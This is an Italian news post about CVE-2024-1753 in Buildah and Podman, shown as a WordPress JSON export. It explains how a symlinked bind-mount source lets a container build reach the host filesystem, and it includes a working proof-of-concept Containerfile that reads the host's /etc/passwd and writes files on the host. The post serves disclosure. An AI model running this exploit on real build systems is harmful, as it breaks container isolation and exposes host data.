{"id":114412,"date":"2024-03-19T00:25:47","date_gmt":"2024-03-18T22:25:47","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera"},"modified":"2024-03-19T00:25:47","modified_gmt":"2024-03-18T22:25:47","slug":"uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/uyazvimost-v-buildah-i-podman-pozvolyayushhaya-obojti-izolyacziyu-kontejnera","title":{"rendered":"Vulnerabilit\u00e0 in Buildah e Podman, che consente di aggirare l'isolamento del contenitore.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nei pacchetti Buildah e Podman \u00e8 stata individuata una vulnerabilit\u00e0 (CVE-2024-1753) che consente di ottenere accesso completo al filesystem dell'ambiente host durante la fase di costruzione del container, eseguito con privilegi di root. Su sistemi con SELinux attivato, l'accesso al filesystem host \u00e8 limitato a modalit\u00e0 di sola lettura. La correzione \u00e8 attualmente disponibile sotto forma di patch, recentemente accettata nel codice sorgente di Buildah. <\/p>\n

La vulnerabilit\u00e0 \u00e8 causata dal fatto che, durante il montaggio delle parti del filesystem tramite il comando \u00abmount \u2014bind\u00bb nella fase di RUN, l'argomento con la directory sorgente (parametro \u00absource=\u00bb) non viene controllato per verificarne l'esistenza nel filesystem radice. Un file di configurazione Containerfile manipolato da un attaccante pu\u00f2 utilizzare un'immagine del contenitore in cui la directory sorgente per il montaggio \u00e8 configurata come un collegamento simbolico alla filesystem radice. In questo caso, l'operazione di montaggio porter\u00e0 al montaggio del filesystem radice dell'ambiente host all'interno del contenitore, consentendo nella fase di RUN di ottenere accesso completo al filesystem dell'ambiente host e organizzare l'uscita dal contenitore durante la creazione con i comandi \u00abbuildah build\u00bb o \u00abpodman build\u00bb. <\/p>\n

Ecco un esempio di file Containerfile malevolo, la cui creazione con il comando \u00abpodman build -f ~\/Containerfile .\u00bb porter\u00e0 a mostrare il contenuto di \/etc\/passwd e creare i file \/BIND_BREAKEOUT e \/etc\/BIND_BREAKOUT2 nell'ambiente host: FROM alpine as base RUN ln -s \/ \/rootdir RUN ln -s \/etc \/etc2 FROM alpine RUN echo \u00abls container root\u00bb RUN ls -l \/ RUN echo \u00abCon exploit mostra il root dell'host, non il root del contenitore, e crea \/BIND_BREAKOUT in \/ nell'host\u00bb RUN \u2014mount=type=bind,from=base,source=\/rootdir,destination=\/exploit,rw ls -l \/exploit; touch \/exploit\/BIND_BREAKOUT; ls -l \/exploit RUN echo \u00abCon exploit mostra il \/etc\/passwd dell'host, non quello del contenitore, e crea \/BIND_BREAKOUT2 in \/etc nell'host\u00bb RUN \u2014mount=type=bind,rw,source=\/etc2,destination=\/etc2,from=base ls -l \/; ls -l \/etc2\/passwd; cat \/etc2\/passwd; touch \/etc2\/BIND_BREAKOUT2; ls -l \/etc2
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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[…]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-114412","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Vulnerabilit\u00e0 in Buildah e Podman che consente di bypassare l'isolamento del container | ProHoster","description":"Nei pacchetti Buildah e Podman \u00e8 stata individuata una vulnerabilit\u00e0 (CVE-2024-1753) che consente di ottenere accesso completo al filesystem dell'ambiente host durante la fase di costruzione del container, eseguito con privilegi di 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